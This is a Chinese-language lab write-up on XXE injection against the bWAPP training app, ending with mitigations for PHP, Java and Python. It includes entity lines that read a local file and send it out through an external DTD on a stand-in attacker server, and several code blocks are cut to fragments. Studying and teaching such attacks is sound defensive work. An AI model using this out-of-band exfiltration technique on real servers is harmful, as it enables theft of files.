1 |
<?xml version="1.0" encoding="utf-8"?> xml声明 |
参数实体是在DTD中引用,而其余实体在XML中引用;且实体定义中不能引用参数实体
XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞。引用程序在解析XML时,如果没有禁止外部实体的加载,理论上可以加载外部文件(操作系统层面的文件),可以造成文件读取,命令执行,内网端口扫描等。以bwapp的xxe为例
等级为low,点击any bugs 抓包
注意这里接受的是XML数据,所以我们可以自己尝试构建实体,如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改
新建外部实体并引用
等级为medium,抓包
尝试xxe回显,但是数据无回显
到这里不一定没有XXE漏洞,仍然要测试是否禁用了外部实体,修改DTD,访问外部站点观察访问记录
访问记录存在,XXE漏洞存在,可利用带外通道获取数据,构造DTD如下
1 |
<?xml version="1.0" encoding="UTF-8"?> |
在web服务器上新建文件test,里面内容如下
1 |
<!ENTITY % file SYSTEM "file:///c://sojrs.txt"> |
请求url中带了sojrs.txt中的内容为sojrs,xxe带外通过成功获取到数据。这里要注意<!ENTITY % test SYSTEM “http://your.web.server/test">的作用是引入在外部服务器上的实体,因为在本地的解释器中有可能不允许使用外部连接,即实体定义中不允许参数实体。
在等级为高的情况下,利用上面的带外通道依然能够成功
禁用外部实体
在php中,引用外部实体和libxml库有关系
libxml > 2.9 默认不解析外部实体
php:libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的xml数据,如DOCTYPE;SYSTEM等
https://blog.csdn.net/u011721501/article/details/43775691#commentBox
https://thief.one/2017/06/20/1/
第59号 公众账号致力于为行内、外所有关注数据安全的
企业同仁搭建一个只分享专业资讯、热点剖析、
行内大会的信息共享平台。
本文作者:第59号实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199990.html